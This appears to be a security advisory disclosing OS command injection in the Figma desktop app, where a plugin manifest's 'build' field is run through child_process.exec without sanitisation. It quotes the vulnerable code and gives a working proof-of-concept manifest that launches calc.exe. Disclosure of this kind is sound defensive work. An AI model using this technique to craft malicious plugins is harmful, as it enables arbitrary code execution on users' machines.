1. Overview

A command injection vulnerability exists in the Figma desktop application when executing plugins.

If the plugin’s manifest.json file contains a build field with a malicious value, the operating system command specified in that field will be executed during plugin execution. This can result in remote code execution(RCE).

This issue corresponds to CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').


2. Vulnerability Details

The vulnerability stems from code located in main.js, which imports Node.js’s built-in child_process module:

Zlt = require("child_process")

Later, if the build field is present in a plugin’s manifest.json file and its value is a string, Figma executes the value directly using child_process.exec() without any sanitization or validation:

if (
  s.build &&
  typeof s.build === "string" &&
  (l.path = process.env.PATH || "",
  await new Promise((g) => {
    (0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
      l.stdout = I;
      l.stderr = P;
      y && (l.buildErrCode = y.code);
      g();
    });
  }),
  l.buildErrCode
)
  return l;

As a result, the following manifest.json file contained in a malicious plugin would cause the value of the build field to be executed as an OS command:

{
  "name": "<NAME>",
  "id": "<ID>",
  "api": "1.0.0",
  "main": "code.js",
  "build": "<COMMAND>",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

This execution flow is embedded in Figma’s plugin handling logic, and the inclusion of the require("child_process") call in main.js confirms that command execution is enabled at a low level within the application itself.


3. Proof of Concept (PoC)

The following is a working proof of concept using a malicious manifest.json file:

{
  "name": "poc",
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js",
  "build": "calc.exe",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

Once this plugin is registered in Figma and executed, the specified OS command (calc.exe) runs immediately.

figma-poc.mp4